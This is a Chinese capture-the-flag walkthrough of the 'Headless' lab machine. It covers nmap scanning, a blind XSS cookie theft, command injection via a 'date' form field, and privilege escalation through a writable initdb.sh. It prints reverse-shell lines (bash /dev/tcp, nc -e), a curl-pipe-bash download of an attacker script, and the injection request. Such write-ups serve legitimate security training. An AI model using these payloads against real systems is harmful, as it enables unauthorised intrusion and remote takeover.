Headless
先用nmap扫一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| nmap -sT -sC -sV -A -O 10.10.11.8 Starting Nmap 7.94SVN ( https: Nmap scan report for bogon (10.10.11.8) Host is up (0.56s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA) |_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519) 5000/tcp open upnp? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Server: Werkzeug/2.2.2 Python/3.11.2 | Date: Sun, 28 Apr 2024 06:25:51 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 2799 | Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/ | Connection: close | <!DOCTYPE html> | <html lang="en"> | <head> | <meta charset="UTF-8"> | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | <title>Under Construction</title> | <style> | body { | font-family: 'Arial', sans-serif; | background-color: | margin: 0; | padding: 0; | display: flex; | justify-content: center; | align-items: center; | height: 100vh; | .container { | text-align: center; | background-color: | border-radius: 10px; | box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2); | RTSPRequest: | <!DOCTYPE HTML> | <html lang="en"> | <head> | <meta charset="utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 400</p> | <p>Message: Bad request version ('RTSP/1.0').</p> | <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p> | </body> |_ </html> 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https: SF-Port5000-TCP:V=7.94SVN%I=7%D=4/28%Time=662DEBF4%P=x86_64-pc-linux-gnu%r SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\ SF:x20Python/3\.11\.2\r\nDate:\x20Sun,\x2028\x20Apr\x202024\x2006:25:51\x2 SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length: SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\ SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\ SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\ SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\ SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\ SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20 SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20 SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20 SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p> SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\ SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n"); Aggressive OS guesses: Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 5.0 - 5.5 (92%), Linux 3.1 (91%), Linux 3.2 (91%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (91%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Adtran 424RG FTTH gateway (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 3 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp) HOP RTT ADDRESS 1 0.82 ms MrDang.mshome.net (172.21.64.1) 2 502.44 ms bogon (10.10.16.1) 3 252.11 ms bogon (10.10.11.8)
OS and Service detection performed. Please report any incorrect results at https: Nmap done: 1 IP address (1 host up) scanned in 228.76 seconds
|
发现开放的有22端口和5000端口,22端口是ssh端口,5000端口不知道是什么,后面有一个upnp。访问一下发现是一个未建成的网站。
用dirsearch爆破一下发现一个目录/dashboard发现不能访问。
有表单随便写一点东西进进去抓个包看看,很可能存在XSS
用python监听一下端口
1
| python -m http.server 8001
|

在bp中构造以下参数

从无头服务器成功响应

现在,我们可以尝试收集有关能够执行代码的服务器的更多信息。我们仍然需要将输出发送回去使用,因此我们将保留 fetch 调用并尝试将数据附加到其中

查看监听端口,发现admin的cookie

把得到的cookie导入到网页里面顺利拿到admin的身份

点击生成报告按钮给了我们一个很好的小消息,告诉我们所有系统都已启动并运行。这会发送一个请求,我们现在将查看是否可以操作以获取有关服务器的更多信息,因为我们现在具有提升的权限。
对dashboard页面进行抓包,把admin的cookie和时间戳改为以下形式,发现能够使用shell命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /dashboard HTTP/1.1 Host: 10.10.11.8:5000 Content-Length: 23 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://10.10.11.8:5000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.10.11.8:5000/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5 Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 Connection: close
date=2023-09-15;ls /;
|

构造入下的命令获得flag

提权:
查看当前用户可执行的命令发现有一个syscheck文件查看文件内容

发现其实是调用了本地文件夹下的一个initdb.sh文件,那我们只需要向其中写入能让我们提权的代码就好了

发现用bp执行的命令有限,需要反弹shell,首先用python在本地开启一个http端口
1
| python3 -m http.server 8002 -d ./
|
这里8002是自己随便选一个和其他不冲突的端口,后面 -d ./ 意思是这个网页的根目录在当前目录
在8002端口web服务的根目录里面有个shell.sh(自己创建一个文件),之后就可以在靶机上面下载这个文件并使用
在shell.sh文件内写入以下内容
1 2
| #!/bin/bash /bin/bash -c 'exec bash -i >& /dev/tcp/10.10.16.20/1234 0>&1'
|
在本地开一个监听端口

在bp抓包date后面的字段改为
1
| ;curl http://10.10.16.20:8002/shell.sh|bash
|

顺利拿到shell,执行以下命令进行提权操作
1
| echo "nc -e /bin/sh 10.10.16.20 1212" > initdb.sh
|
再开一个监听端口

执行以下命令将得到shell,成功提权
